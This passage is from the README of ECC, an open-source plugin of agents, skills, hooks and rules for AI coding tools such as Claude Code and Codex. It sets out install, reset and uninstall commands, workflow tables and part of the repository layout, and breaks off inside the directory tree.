![\"Markdown\"](\"https://img.shields.io/badge/-Markdown-000000?logo=markdown&logoColor=white\"){kind=icon}
\n Warning
\nOfficial sources only. Install ECC only from verified channels: the GitHub repository github.com/affaan-m/ECC, the npm packages ecc-universal and ecc-agentshield, the GitHub App, the plugin slug ecc@ecc, and the project website ecc.tools. Third-party re-uploads and unofficial mirrors are not maintained or reviewed by the project and may contain malware.
Use the guided setup or native plugin commands. Both install the same ecc@ecc plugin. Choose one and do not stack a full manual Claude install on top.
![\"ECC](\"https://raw.githubusercontent.com/affaan-m/ECC/main/assets/images/community/ecc-tools-mark.svg?sanitize=true\") ECC Pro + GitHub App Install free \u00b7 Private repos from $19/seat/mo | \n ![\"\"](\"https://raw.githubusercontent.com/affaan-m/ECC/main/assets/images/community/heart.svg?sanitize=true\") Sponsor ECC Fund the open-source project | \n ![\"Discord\"](\"https://raw.githubusercontent.com/affaan-m/ECC/main/assets/images/community/discord.svg?sanitize=true\") Community Discord \u00b7 Q&A \u00b7 Show and Tell | \n
OSS stays free. This repo is MIT-licensed forever. ECC Pro is the hosted GitHub App for private repos. Sponsors and Pro subscribers fund the work. That's why a single maintainer ships weekly across 7 harnesses.
\nPartners & sponsors
\n ![\"CodeRabbit\"](\"https://raw.githubusercontent.com/affaan-m/ECC/main/assets/images/sponsors/coderabbit.png\")
![\"Greptile\"](\"https://raw.githubusercontent.com/affaan-m/ECC/main/assets/images/sponsors/greptile.png\")
\n \n ![\"Moonshot](\"https://raw.githubusercontent.com/affaan-m/ECC/main/assets/images/sponsors/moonshot.png\")
\n \n \n ![\"It\u00f4](\"https://raw.githubusercontent.com/affaan-m/ECC/main/assets/images/sponsors/ito-transparent.png\")
\n \n \n ![\"SerpApi:](\"https://raw.githubusercontent.com/affaan-m/ECC/main/assets/images/sponsors/serpapi-logo-light-mode.svg?sanitize=true\"){kind=logo}
\n
Past sponsors: Atlas Cloud \u00b7 Mike Morgan (inactive)
\nCommunity sponsors: @jasonwu513 \u00b7 @1anter \u00b7 @massimotodaro \u00b7 @meadmccabe
\nBecome a Sponsor \u00b7 Sponsor Tiers \u00b7 Sponsorship Program
\nYour agent can write code, but ECC gives it a coordinated engineering system and toolbox: it plans before it builds, verifies changes with tests, reviews its own work from a fresh context, remembers what matters, and turns repeated wins into reusable skills and workflows.
\nplan -> test -> implement -> review -> verify -> remember -> improve\nInstead of rebuilding that process in every prompt, you install it once and make it part of how your agent works.
\n\n\nOptimize the context window. Persist everything else.
\n
ECC is MIT-licensed open source. It works best with Claude Code today, has native Codex and Qoder plugin paths, and provides capability-limited adapters for Cursor, OpenCode, Gemini, Zed, GitHub Copilot, Antigravity, Qwen, and other harnesses. See the support status matrix before assuming feature parity.
\nAccess to 71 agents, 311 skills, and 97 legacy command shims, plus hooks, rules, memory, continuous learning, and AgentShield security scanning. The agents are specialized for planning, review, build repair, security, architecture, and domain work.
\n| Included | \nCount | \nWhat it gives you | \n
|---|---|---|
| Agents | \n71 agents | \nPlanning, review, build repair, security, architecture, and domain work | \n
| Skills | \n311 skills | \nTDD, research, security, docs, frontend, data, ML, operations, and more | \n
| Commands | \n97 commands | \nConvenient entry points while ECC moves to a skills-first surface | \n
| Hooks and memory | \nRuntime | \nEnforcement, session summaries, continuous learning, instincts, and context controls | \n
| Rules | \nSelective | \nAlways-loaded standards you choose by language or project | \n
| AgentShield | \nIncluded | \nScanning for prompts, hooks, MCP config, permissions, secrets, and agent files | \n
\n Important
\nECC 2.2 includes guided package setup for Claude Code, Codex, and Kimi Code. The universal package requires Node.js 18 or newer. Claude plugin setup also requires Git and Claude Code 2.1 or newer on PATH.
For Claude Code plugin setup, updates, scope changes, and hook-profile changes:
\nnpx ecc-universal@2.2.3 setup\nIf you are new to command-line tools, use this copy-and-paste path:
\nInstall Node.js 18 or newer, Git, and Claude Code.
Open PowerShell from the Windows Start menu.
Confirm that each prerequisite is available:
node --version\ngit --version\nclaude --version\nRun the guided installer:
npx ecc-universal@2.2.3 setup\nFor a typical personal setup, choose Global user, choose Standard hooks, and confirm.
Start a new Claude Code session and run /plugin list to verify that ecc@ecc is enabled.
This path does not require cloning the repository. If any prerequisite command is not found, install or repair that prerequisite before rerunning ECC setup.
\nIf npm reports a version or cache error, confirm the registry version before retrying:
\nnpm view ecc-universal version\nECC 2.2 supports the same guided setup through modern package runners:
\n| Package runner | \nGuided setup command | \n
|---|---|
| npm / npx | \nnpx ecc-universal@2.2.3 setup | \n
| pnpm | \npnpm dlx ecc-universal@2.2.3 setup | \n
| Yarn 2+ | \nyarn dlx ecc-universal@2.2.3 setup | \n
| Bun | \nbunx ecc-universal@2.2.3 setup | \n
The examples select the published ECC 2.2.3 release, matching this repository's release version. A version pin is not a security audit or an integrity check. Review the release source and registry integrity before running package code; use a reviewed checkout for unreleased changes.
\nYarn Classic 1 does not provide yarn dlx; use npx, install the package globally, or upgrade Yarn for a temporary one-shot run.
The wizard inventories the official marketplace and every native Claude install scope before making changes, then installs, updates, or safely moves ecc@ecc to the scope you choose. Rerun the same command whenever you want to update ECC, change scope, or change its hook profile. This setup wizard currently configures the Claude Code plugin; use the multi-harness wizard below for Codex or Kimi Code.
To configure more than one coding agent in one reviewed flow, use the multi-harness wizard:
\nnpx ecc-universal@2.2.3 install --guided\nIt lets you select any combination of Claude Code, Codex, and Kimi Code, shows each install channel and destination, preflights every selection before the first write, and asks for one final confirmation.
\n| Harness | \nGuided install behavior | \n
|---|---|
| Claude Code | \nNative ecc@ecc plugin with one user, project, or local scope and an ECC hook profile | \n
| Codex | \nNative Codex marketplace/plugin lifecycle; hook review and trust remain Codex-owned | \n
| Kimi Code | \nManaged project files under ./.kimi-code; ECC hooks, model/provider settings, and authentication are not configured | \n
For automation, make every provider-specific choice explicit:
\nnpx ecc-universal@2.2.3 install --guided \\\n --harness claude --harness codex --harness kimi \\\n --claude-scope local --claude-hooks standard \\\n --profile core --yes\nVerify the native guided Codex path and managed Kimi path without writing first:
\nnpx ecc-universal@2.2.3 install --guided --harness codex --dry-run\nnpx ecc-universal@2.2.3 install --profile core --target kimi --dry-run\nAdditional package-name commands are also available through the 2.2 alias:
\nnpx ecc-universal@2.2.3 consult \"security reviews\" --target claude\nnpx ecc-universal@2.2.3 install --profile minimal --target claude --with capability:machine-learning\nnpx ecc-universal@2.2.3 doctor --target kimi\nDo not use npx ecc-install --profile minimal --target claude: ecc-install is a binary name inside ecc-universal, not a separately published npm package.
ECC also ships advanced managed adapters for cursor, antigravity, gemini, opencode, codebuddy, joycode, qwen, zed, hermes, and openclaw. Those targets still use their documented ecc install --target ... paths until each adapter has passed the guided collision, update, repair, and uninstall lifecycle matrix. Neither wizard silently installs into every detected harness.
You can use ECC with Claude Code, Codex, and other harnesses at the same time. Choose one install method for each harness:
\nDo not stack install methods. Installing ECC twice into the same harness can duplicate skills, commands, hooks, or configuration; installing it once into multiple harnesses does not.
\nIf you already layered multiple installs and things look duplicated, skip straight to Reset / Uninstall ECC.
\nInstall trouble? Open the short install or runtime problem form, or run ecc feedback. ECC never uploads diagnostics automatically.
Alternatively, run Claude Code's native plugin commands inside Claude Code:
\n/plugin marketplace add https://github.com/affaan-m/ECC\n/plugin install ecc@ecc\nThe native path installs ECC's skills, agents, commands, and plugin-managed hooks. If you choose it, stop there. Do not also run a full manual install into Claude Code.
\nClaude Code owns these built-in commands, including their errors when a marketplace, plugin, or conflicting scope already exists. ECC cannot intercept that parser. If either native command reports an existing install or scope conflict, use the 2.2 guided setup or resolve the conflicting Claude plugin scope before retrying; do not layer a manual install on top.
\nAfter ECC is installed, /ecc:configure-ecc is the namespaced in-Claude reconfiguration skill. It delegates to the same safe setup flow, but it is available only after the plugin is installed and cannot replace Claude Code's built-in /plugin command during a first install.
Claude Code plugins cannot distribute rules, so add only the rule packs you actually want:
git clone https://github.com/affaan-m/ECC.git\ncd ECC\nmkdir -p ~/.claude/rules/ecc\ncp -R rules/common ~/.claude/rules/ecc/\ncp -R rules/typescript ~/.claude/rules/ecc/ # replace with your stack\nStart with rules/common plus one language or framework pack you actually use. If you install the plugin, do not run ./install.sh --profile full afterward.
Add directly to your ~/.claude/settings.json:
{\n \"extraKnownMarketplaces\": {\n \"ecc\": {\n \"source\": {\n \"source\": \"github\",\n \"repo\": \"affaan-m/ECC\"\n }\n }\n },\n \"enabledPlugins\": {\n \"ecc@ecc\": true\n }\n}\nThis gives you the same result as the two /plugin commands above.
ECC has three public identifiers, and they are not interchangeable:
\naffaan-m/ECCecc@eccecc-universalThis is intentional. Anthropic marketplace/plugin installs are keyed by a canonical plugin identifier, so ECC uses ecc@ecc to keep tool names and slash-command namespaces short enough for strict Desktop/API validators. Older posts may still show the former long marketplace identifier; treat that as a legacy alias only. Separately, the npm package stayed on ecc-universal, so npm installs and marketplace installs intentionally use different names.
npm releases are cut per version tag, not per commit, so ecc-universal tracks releases (2.1, 2.2, ...) rather than every push to main. Install from git if you want the bleeding edge.
If your local Claude setup was wiped or reset, that does not mean you need to repurchase anything. Start with node scripts/ecc.js list-installed, then run node scripts/ecc.js doctor and node scripts/ecc.js repair before reinstalling. That usually restores ECC-managed files without rebuilding your setup.
Current Codex releases can install ECC as a native repo-marketplace plugin. The marketplace entry uses the repository root so Codex's cache receives the manifest together with all referenced skills, MCP configuration, hook runtime, scripts, and assets:
\ncodex plugin marketplace add affaan-m/ECC\ncodex plugin add ecc@ecc\ncodex plugin list --json\nnode scripts/codex/check-plugin-cache.js\nBoth add commands are idempotent. To refresh later, run codex plugin marketplace upgrade ecc followed by codex plugin add ecc@ecc. Codex stores one enabled plugin state in the active CODEX_HOME; it does not offer Claude's user, project, and local scopes. Its native hooks require an explicit trust decision and do not use Claude's four ECC hook profiles. Inside Codex, invoke $configure-ecc for the guided provider-aware flow.
The older scripts/sync-ecc-to-codex.sh path is a deprecated compatibility option for users who intentionally need copied and merged configuration in ~/.codex; it is not required for the native plugin. New sync runs write an ownership manifest so cleanup can preserve modified user files. Run Codex once first so ~/.codex/config.toml exists, then:
git clone https://github.com/affaan-m/ECC.git\ncd ECC\nnpm install\nbash scripts/sync-ecc-to-codex.sh\nTo inspect or remove that legacy layer without touching Codex conversations or native plugin caches:
\nnode scripts/ecc.js uninstall --legacy-codex-sync --dry-run\nnode scripts/ecc.js uninstall --legacy-codex-sync\nPre-manifest installations are handled conservatively: ECC removes its marked AGENTS.md block but preserves copied files it cannot prove it owns and reports them for review.
You can also open the ECC repository directly in Codex for a project-local setup. Codex reads the root AGENTS.md and the trusted project configuration in .codex/ without a global sync. Do not add the native marketplace plugin on top of the sync flow.
For repo navigation, surface ownership, and PR diff packet guidance, read the Codex ECC Navigation Map. See the .codex plugin notes for native lifecycle details.
\nECC ships a native Qoder plugin that reuses the canonical skills, agents, 95 legacy command shims, and the pinned chrome-devtools MCP definition. From a reviewed checkout, validate and install it with Qoder CLI:
qoder plugins validate . --strict\nqoder plugins install .\nqoder plugins list\nFor Qoder IDE, upload a ZIP of the repository root. The ZIP root must contain .qoder-plugin/ together with skills/, agents/, commands/, hooks/, scripts/, and .mcp.json; uploading only the manifest directory or one SKILL.md omits required resources.
The universal Node.js 18+ requirement applies to Qoder's non-interactive hook environment. The MCP server also requires npx and network access on first use. Qoder receives one reviewed, cross-platform SessionStart bootstrap using QODER_PLUGIN_ROOT and exec-form arguments. ECC does not copy the full Claude hook profile into Qoder: blocking tool hooks, async stop jobs, and Claude-specific matchers remain outside this initial native integration. See the .qoder-plugin notes for the exact boundary.
Clone ECC once, then choose the target that matches your harness:
\ngit clone https://github.com/affaan-m/ECC.git\ncd ECC\n| Harness | \nInstall or setup | \nNotes | \n
|---|---|---|
| Cursor | \n./install.sh --profile minimal --target cursor | \n Project-local .cursor/ adapter | \n
| OpenCode | \nnpm install && npm run build:opencode && ./install.sh --profile full --target opencode --enable-hooks | \n Builds the plugin payload before the full install | \n
| Gemini CLI | \n./install.sh --profile minimal --target gemini | \n Project-local .gemini/ config | \n
| Zed | \n./install.sh --profile minimal --target zed | \n Project-local .zed/ adapter | \n
| Antigravity | \n./install.sh --profile minimal --target antigravity | \n See the Antigravity guide | \n
| Qwen CLI | \n./install.sh --profile minimal --target qwen | \n See the Qwen guide | \n
| Hermes | \n./install.sh --profile minimal --target hermes | \n See the Hermes setup guide | \n
| OpenClaw | \n./install.sh --profile minimal --target openclaw | \n Managed home-directory install | \n
| Kimi Code CLI | \n./install.sh --profile minimal --target kimi | \n Project-local .kimi-code/ install \u00b7 Get Kimi Code | \n
| CodeBuddy | \n./install.sh --profile minimal --target codebuddy | \n Project-local .codebuddy/ install | \n
| JoyCode | \n./install.sh --profile minimal --target joycode | \n Project-local .joycode/ install | \n
| GitHub Copilot | \n./install.sh --profile full --target copilot | \n Installs skills to .github/skills/ and agents to .github/agents/ for Copilot CLI | \n
GitHub Copilot support is already included in this repository. .github/copilot-instructions.md provides the instruction layer, .github/prompts/ contains the reusable /plan, /tdd, /security-review, /build-fix, and /refactor prompts, and .vscode/settings.json enables chat.promptFiles. GitHub Copilot CLI additionally discovers the .agents/skills/ subset from a plain clone with no setup; see Platform Support for the full catalog and agents.
For a harness without a native ECC target, use the manual adaptation guide. It explains how to carry a small set of ECC skills and workflow instructions into chat-style tools without pretending hooks or native skill discovery are available.
\nCursor installs agent definitions under .cursor/agents/ecc-*.md. Cursor-native loading behavior can vary by Cursor build. ECC does not install root AGENTS.md into .cursor/. The adapter keeps Cursor's context scoped to its native rules and agent surfaces.
Deep per-harness notes (feature parity, hook adapters, limitations) live in Platform Support below.
\nUse this when you want ECC's rules, agents, commands, platform config, and core workflows without runtime hooks:
\nnpx ecc-universal@2.2.3 install --profile minimal --target claude\nFrom a source checkout, the equivalent command is:
\n./install.sh --profile minimal --target claude\nWindows:
\n.\\install.ps1 --profile minimal --target claude\nThis profile intentionally excludes hooks-runtime.
Claude manual installs place each skill directly under ~/.claude/skills/<skill-name>/ (or .claude/skills/<skill-name>/ for claude-project) so Claude Code can discover it. When upgrading an older ECC manual install, the installer migrates only nested skills/ecc/ files recorded in ECC install-state. If a flat skill directory is user-owned, ECC preserves it, prints a conflict warning, and keeps any older managed copy tracked for a safe uninstall instead of overwriting user files.
For the normal core profile with hooks disabled:
\n./install.sh --profile core --without baseline:hooks --target claude\n./install.sh --profile core --no-hooks --target claude\nAdd the hook runtime later only if you want it:
\n./install.sh --target claude --modules hooks-runtime --enable-hooks\nAny install whose profile or modules would materialize the hook runtime requires an explicit decision. Without --enable-hooks or --no-hooks, the installer prints what the hooks can do and stops before writing anything. The guided installer (ecc install --guided) asks for this choice interactively.
Ask the packaged advisor which components match your work:
\nnode scripts/ecc.js consult \"security reviews\" --target claude\nIt returns matching components, related profiles, and preview/install commands. Use the preview command before installing if you want to inspect the exact file plan.
\nYou can also install explicit skills or capabilities:
\n./install.sh --target claude --skills tdd-workflow,security-review\nnode scripts/ecc.js install --profile minimal --target claude --with capability:machine-learning\nManual component-by-component copying also works. Each component is fully independent:
\n# Just agents\nmkdir -p ~/.claude/agents\ncp agents/*.md ~/.claude/agents/\n\n# Rules directories (common + language-specific)\nmkdir -p ~/.claude/rules/ecc\ncp -r rules/common ~/.claude/rules/ecc/\ncp -r rules/typescript ~/.claude/rules/ecc/ # pick your stack\n\n# Core/general skills only (Claude Code loads skills from direct children\n# of ~/.claude/skills; do not nest manual installs under ~/.claude/skills/ecc/)\nmkdir -p ~/.claude/skills\ncp -r .agents/skills/* ~/.claude/skills/\ncp -r skills/search-first ~/.claude/skills/\n\n# Optional: maintained slash-command compatibility during migration\nmkdir -p ~/.claude/commands\ncp commands/*.md ~/.claude/commands/\nRetired shims live in legacy-command-shims/. Copy individual files from there only if you still need old names such as /tdd.
Use project-local rules when ECC's standards should apply to one repository rather than every Claude Code session:
\ncd your-project\nmkdir -p .claude/rules/ecc\ncp -R /path/to/ECC/rules/common .claude/rules/ecc/\ncp -R /path/to/ECC/rules/typescript .claude/rules/ecc/\nRules are always-loaded context, so begin with common and one pack for the stack you actually use. When copying rules manually, copy the whole language directory (for example rules/common or rules/golang), not the files inside it, so relative references keep working and filenames do not collide.
Use this only when you are intentionally skipping the plugin path:
\ngit clone https://github.com/affaan-m/ECC.git\ncd ECC\n./install.sh --profile full --enable-hooks\nWindows:
\ngit clone https://github.com/affaan-m/ECC.git\ncd ECC\n.\\install.ps1 --profile full --enable-hooks\nThese examples enable the automatic hook runtime. To install without hooks, replace --enable-hooks with --no-hooks.
If you choose this path, stop there. Do not also run /plugin install.
For hand-picked manual installs, Claude discovers skills as direct children of ~/.claude/skills/; do not nest them under ~/.claude/skills/ecc/.
Do not copy the raw repo hooks/hooks.json into ~/.claude/settings.json or ~/.claude/hooks/hooks.json. That file is plugin/repo-oriented; use the installer so hook command paths are rewritten correctly:
bash ./install.sh --target claude --modules hooks-runtime --enable-hooks\nThat installs the hook scripts under ~/.claude/ and registers the resolved hook entries in ~/.claude/settings.json. Existing user settings and hooks are preserved; ECC-owned entries are tracked by stable ID for idempotent updates and safe uninstall.
If you installed ECC via /plugin install, do not copy those hooks into settings.json. Claude Code v2.1+ already auto-loads plugin hooks/hooks.json, and duplicating them in settings.json causes duplicate execution and cross-platform hook conflicts.
On Windows, Claude's config root is %USERPROFILE%\\.claude; install the hook runtime with:
pwsh -File .\\install.ps1 --target claude --modules hooks-runtime --enable-hooks\nClaude plugin installs intentionally do not auto-enable ECC's bundled MCP server definitions. This avoids overlong plugin MCP tool names on strict third-party gateways while keeping manual MCP setup available.
\nUse Claude Code's /mcp command or CLI-managed MCP setup for live Claude Code server changes; Claude Code persists those choices in ~/.claude.json. For repo-local MCP access, copy desired MCP server definitions from mcp-configs/mcp-servers.json into a project-scoped .mcp.json.
ECC ships exactly one default connector (chrome-devtools); everything else is a skill wrapping a CLI/REST API or an opt-in catalog entry. The rule and the June 2026 audit that retired the previous six defaults live in docs/MCP-CONNECTOR-POLICY.md.
If you already run your own copies of ECC-bundled MCPs, set:
\nexport ECC_DISABLED_MCPS=\"chrome-devtools\"\nECC-managed install and Codex sync flows will skip or remove those bundled servers instead of re-adding duplicates. ECC_DISABLED_MCPS is an ECC install/sync filter, not a live Claude Code toggle.
Important: Replace YOUR_*_HERE placeholders with your actual API keys.
multi-* commands are not covered by the base plugin/rules install.
To use /multi-plan, /multi-execute, /multi-backend, /multi-frontend, and /multi-workflow, you must also install the ccg-workflow runtime. Choose and review an exact release using the upstream CCG installation guide, then initialize that installed runtime. ECC does not bundle CCG or attest to a compatible, audited CCG release; this guide does not bootstrap an unspecified registry version.
That runtime provides the external dependencies these commands expect, including:
\n~/.claude/bin/codeagent-wrapper~/.claude/.ccg/prompts/*Without ccg-workflow, these multi-* commands will not run correctly.
/astra-review sends Claude-written code to GPT-6-Astra for an independent cross-provider review. It runs the locally installed Codex CLI with your ChatGPT login (codex login); no OpenAI API key is needed, and API keys in your environment are not forwarded. Invoking the command is your consent to send that diff to OpenAI. Setup, scopes, push gating, and troubleshooting are in the Astra Review Guide.
If you installed from the universal package, run these commands from the same project directory used for installation:
\nnpx ecc-universal@2.2.3 list-installed\nnpx ecc-universal@2.2.3 doctor\nnpx ecc-universal@2.2.3 repair\nnpx ecc-universal@2.2.3 uninstall --dry-run\nnpx ecc-universal@2.2.3 uninstall\nFrom a source checkout, inspect the managed state before reinstalling:
\nnode scripts/ecc.js list-installed\nnode scripts/ecc.js doctor\nnode scripts/ecc.js repair\nnode scripts/ecc.js uninstall --dry-run\nFor a direct source-checkout uninstall:
\nnode scripts/uninstall.js --dry-run\nnode scripts/uninstall.js\nIf you are leaving, the uninstall command prints an optional 20-second feedback form. It is a public GitHub issue, never blocks uninstall, and ECC does not upload diagnostics. You can also run ecc feedback at any time to see the problem, feedback, and feature routes.
Plugin users should remove the plugin from Claude Code, then delete only the rule folders they manually copied and no longer want. ECC only removes files recorded in its install-state. It does not claim unrelated files in your harness directories.
\nIf you stacked methods, clean up in this order:
\nStart with the workflow you need, not the full catalog.
\n| What you are doing | \nStart here | \n
|---|---|
| Building a feature | \n/ecc:plan \"describe the feature\", then tdd-workflow | \n
| Fixing a bug | \nReproduce it with a failing test, then use tdd-workflow | \n
| Reviewing new code | \n/code-review for a fresh-context review | \n
| Repairing a build | \n/build-fix | \n
| Cleaning a codebase | \n/refactor-clean | \n
| Checking context pressure | \n/context-budget | \n
| Ending a long session | \n/save-session or /learn-eval | \n
| Resuming later | \n/resume-session | \n
| Auditing agent config | \n/security-scan with a reviewed scanner, or installed agentshield scan --path . | \n
Claude Code plugin commands use the namespaced form:
\n/ecc:plan \"Add authentication\"\nManual installs may expose the shorter compatibility form:
\n/plan \"Add authentication\"\nSkills are the primary workflow surface. Commands remain convenient entry points and compatibility shims. Check what is installed with:
\n/plugin list ecc@ecc\nSkills are the canonical workflow surface; maintained slash entries stay available for command-first workflows.
\n| I want to... | \nUse this surface | \nAgent used | \n
|---|---|---|
| Plan a new feature | \n/ecc:plan \"Add auth\" | \n planner | \n
| Design system architecture | \n/ecc:plan + architect agent | \n architect | \n
| Write code with tests first | \ntdd-workflow skill | \n tdd-guide | \n
| Review code I just wrote | \n/code-review | \n code-reviewer | \n
| Fix a failing build | \n/build-fix | \n build-error-resolver | \n
| Run end-to-end tests | \ne2e-testing skill | \n e2e-runner | \n
| Find security vulnerabilities | \n/security-scan | \n security-reviewer | \n
| Remove dead code | \n/refactor-clean | \n refactor-cleaner | \n
| Update documentation | \n/update-docs | \n doc-updater | \n
| Review Go code | \n/go-review | \n go-reviewer | \n
| Review Python code | \n/python-review | \n python-reviewer | \n
| Review F# code | \n(invoke fsharp-reviewer directly) | \n fsharp-reviewer | \n
| Review TypeScript/JavaScript code | \n(invoke typescript-reviewer directly) | \n typescript-reviewer | \n
| Develop HarmonyOS apps | \n(invoke harmonyos-app-resolver directly) | \n harmonyos-app-resolver | \n
| Audit database queries | \n(auto-delegated) | \ndatabase-reviewer | \n
| Review production ML changes | \nmle-workflow skill + mle-reviewer agent | \n mle-reviewer | \n
Slash forms below are shown where they remain part of the maintained command surface. Retired short-name shims such as /tdd and /eval live in legacy-command-shims/ for explicit opt-in only.
Starting a new feature:
\n/ecc:plan \"Add user authentication with OAuth\"\n -> planner creates implementation blueprint\ntdd-workflow skill -> tdd-guide enforces write-tests-first\n/code-review -> code-reviewer checks your work\nFixing a bug:
\ntdd-workflow skill -> tdd-guide: write a failing test that reproduces it\n -> implement the fix, verify test passes\n/code-review -> code-reviewer: catch regressions\nPreparing for production:
\n/security-scan -> security-reviewer: OWASP Top 10 audit\ne2e-testing skill -> e2e-runner: critical user flow tests\n/test-coverage -> verify 80%+ coverage\nECC works through each harness's normal configuration, so you can use an official provider, a compatible custom API endpoint or model gateway, or a self-hosted model without changing ECC's workflows.
\nFor Claude Code, ECC does not hardcode Anthropic-hosted transport settings. Minimal gateway example:
\nexport ANTHROPIC_BASE_URL=https://your-gateway.example.com\nexport ANTHROPIC_AUTH_TOKEN=your-token\nclaude\nIf your gateway remaps model names, configure that in Claude Code rather than in ECC. ECC's hooks, skills, commands, and rules are model-provider agnostic once the claude CLI is already working. See Anthropic's LLM gateway documentation and model configuration documentation.
Run or self-host any open-source model behind that gateway using separate compute and serving setup. If you need GPU capacity, It\u00f4 is ECC's preferred compute sponsor; any GPU provider works. The sponsorship link is passive: it does not invoke an RFQ, reserve capacity, provision compute, or configure serving. Separately, ecc ito find invokes the explicitly configured canonical It\u00f4 CLI and submits a live authenticated RFQ; it does not reserve capacity. Managed inference through It\u00f4 is not live yet.
The Kimi Code harness and the model-serving layer are separate. ECC configures the agent harness; you bring an API endpoint (get a Kimi API key) or self-host an open-weight Kimi model on your own GPU capacity. This adapter is verified against Kimi Code 0.31.x (@moonshot-ai/kimi-code):
| \n \n \n 1. Get GPU capacity Use It\u00f4 or any GPU provider. | \n \n \n \n 2. Serve Kimi Expose the chosen checkpoint through a compatible endpoint. | \n 3. Run Kimi Code with ECC Install project instructions and skills, then start Kimi Code. | \n
Configure the endpoint with Kimi Code's official provider guide, then install ECC:
\nbash ./install.sh --target kimi --profile minimal\nnode scripts/ecc.js doctor --target kimi\nkimi\nKimi Code discovers the installed .kimi-code/AGENTS.md instructions and .kimi-code/skills/ workflows natively; project-level .agents/skills/ is also an official discovery location. ECC safely merges project MCP entries into .kimi-code/mcp.json and does not change the user-level ~/.kimi-code/config.toml. Kimi Code supports native hooks, but ECC's current managed-project adapter does not configure them, so this installer does not offer Kimi hook profiles. The installer dry-run and regression suite verify that every managed Kimi write stays inside the project-local .kimi-code/ root.
ecc ito delegates to the separately installed canonical It\u00f4 client; ECC does not maintain a second API client. ecc ito login [--no-browser] performs device authorization, opens the It\u00f4 verification page by default, and persists a device token in macOS Keychain; --no-browser suppresses the page handoff. ECC itself does no browser automation. ecc ito auth is validation-only and rejects --no-browser. The available operations are ecc ito login, ecc ito auth, ecc ito find, ecc ito status, and the separately gated ecc ito evals. The matching MCP tools remain ito_auth, ito_find, and ito_status; ito_auth validates existing credentials and node qualification is CLI-only.
The ito-compute-cli package is currently unpublished. Build it locally from the It\u00f4 runtime repo (private while the desk hardens; design partners get access) under cli/ito-compute-cli, run npm ci and npm run check, then set ECC_ITO_CLI_EXECUTABLE to that build's absolute dist/bin/ito.js path. Login never inherits ITO_API_KEY; auth, find, and status forward ITO_API_KEY directly when configured, and ITO_AUTH_MODE=legacy is not required. ecc ito logout revokes the current device credential and retains its local copy if remote revocation cannot be confirmed. Device tokens use macOS Keychain by default; explicit file fallback must retain owner-only directory/file permissions. ECC does not discover this credential-bearing client through PATH. See the ito-compute skill for the full RFQ authority and MCP setup contract.
find submits a live authenticated RFQ. It does not reserve capacity. evals requires both ITO_ENABLE_SIXTYTWO_LIVE=1 and --live-sixtytwo, a separately installed sixtytwo-cli==0.3.33, an explicit node list, and an existing absolute configuration directory. It cannot rent, launch, recover, repair, or purchase. ECC exposes no quote lock, purchase, workload, or inference path, and it never replaces a missing client or failed live call with a local result.
Current release: 2.2.3 (2026-10-01). Highlights of the 2.2 line:
\necc memory), and the It\u00f4 compute skill family.Full history: CHANGELOG.md. Per-release notes and evidence live under docs/releases/.
\nStable graduation of the 2.0 line: control-pane substrate, worktree lifecycle service, the orch-* orchestrator family, and the Discord community. Notes: docs/releases/2.0.0/release-notes.md.
ECC/\n|-- agents/ # 71 specialized subagents for delegation\n|-- skills/ # 311 reusable workflows loaded on demand\n|-- commands/ # 97 maintained slash-command shims\n|-- rules/ # opt-in common and language standards\n|-- hooks/ # runtime automation and enforcement\n|-- scripts/ # install, repair, sync, orchestration, and checks\n|-- .claude-plugin/ # Claude Code marketplace manifest\n|-- .codex/ # Codex reference configuration and agent roles\n|-- .opencode/ # OpenCode plugin, commands, and instructions\n|-- .cursor/ # Cursor rules and hook adapter\n|-- docs/ # public setup, architecture, and operating guides\nThe root is the source of truth. Platform adapters package or map these same workflows instead of maintaining separate copies.
\nECC/\n|-- .claude-plugin/ # Plugin and marketplace manifests\n| |-- plugin.json # Plugin metadata and component paths\n| |-- marketplace.json # Marketplace catalog for /plugin marketplace add\n|\n|-- agents/ # 71 specialized subagents for delegation\n| |-- planner.md # Feature implementation planning\n| |-- architect.md # System design decisions\n| |-- tdd-guide.md # Test-driven development\n| |-- code-reviewer.md # Quality and security review\n| |-- security-reviewer.md # Vulnerability analysis\n| |-- build-error-resolver.md\n| |-- e2e-runner.md # Playwright E2E testing\n| |-- refactor-cleaner.md # Dead code cleanup\n| |-- doc-updater.md # Documentation sync\n| |-- docs-lookup.md # Documentation/API lookup\n| |-- chief-of-staff.md # Communication triage and drafts\n| |-- loop-operator.md # Autonomous loop execution\n| |-- harness-optimizer.md # Harness config tuning\n| |-- cpp-reviewer.md # C++ code review\n| |-- cpp-build-resolver.md # C++ build error resolution\n| |-- fsharp-reviewer.md # F# functional code review\n| |-- go-reviewer.md # Go code review\n| |-- go-build-resolver.md # Go build error resolution\n| |-- python-reviewer.md # Python code review\n| |-- database-reviewer.md # Database/Supabase review\n| |-- typescript-reviewer.md # TypeScript/JavaScript code review\n| |-- java-reviewer.md # Java/Spring Boot code review\n| |-- java-build-resolver.md # Java/Maven/Gradle build errors\n| |-- kotlin-reviewer.md # Kotlin/Android/KMP code review\n| |-- kotlin-build-resolver.md # Kotlin/Gradle build errors\n| |-- harmonyos-app-resolver.md # HarmonyOS/ArkTS app development\n| |-- ruby-reviewer.md # Ruby/Rails code review\n| |-- rust-reviewer.md # Rust code review\n| |-- rust-build-resolver.md # Rust build error resolution\n| |-- pytorch-build-resolver.md # PyTorch/CUDA training errors\n| |-- mle-reviewer.md # Production ML pipeline, eval, serving, and monitoring review\n|\n|-- skills/ # Workflow definitions and domain knowledge\n| |-- coding-standards/ # Language best practices\n| |-- clickhouse-io/ # ClickHouse analytics, queries, data engineering\n| |-- backend-patterns/ # API, database, caching patterns\n| |-- frontend-patterns/ # React, Next.js patterns\n| |-- frontend-slides/ # HTML slide decks and PPTX-to-web presentation workflows\n| |-- article-writing/ # Long-form writing in a supplied voice without generic AI tone\n| |-- content-engine/ # Multi-platform social content and repurposing workflows\n| |-- market-research/ # Source-attributed market, competitor, and investor research\n| |-- osint-investigation/ # OSINT methodology: competing hypotheses, falsification, visual and evidence verification\n| |-- investor-materials/ # Pitch decks, one-pagers, memos, and financial models\n| |-- investor-outreach/ # Personalized fundraising outreach and follow-up\n| |-- continuous-learning/ # Legacy v1 Stop-hook pattern extraction\n| |-- continuous-learning-v2/ # Instinct-based learning with confidence scoring\n| |-- iterative-retrieval/ # Progressive context refinement for subagents\n| |-- strategic-compact/ # Manual compaction suggestions (Longform Guide)\n| |-- tdd-workflow/ # TDD methodology\n| |-- security-review/ # Security checklist\n| |-- eval-harness/ # Verification loop evaluation (Longform Guide)\n| |-- verification-loop/ # Continuous verification (Longform Guide)\n| 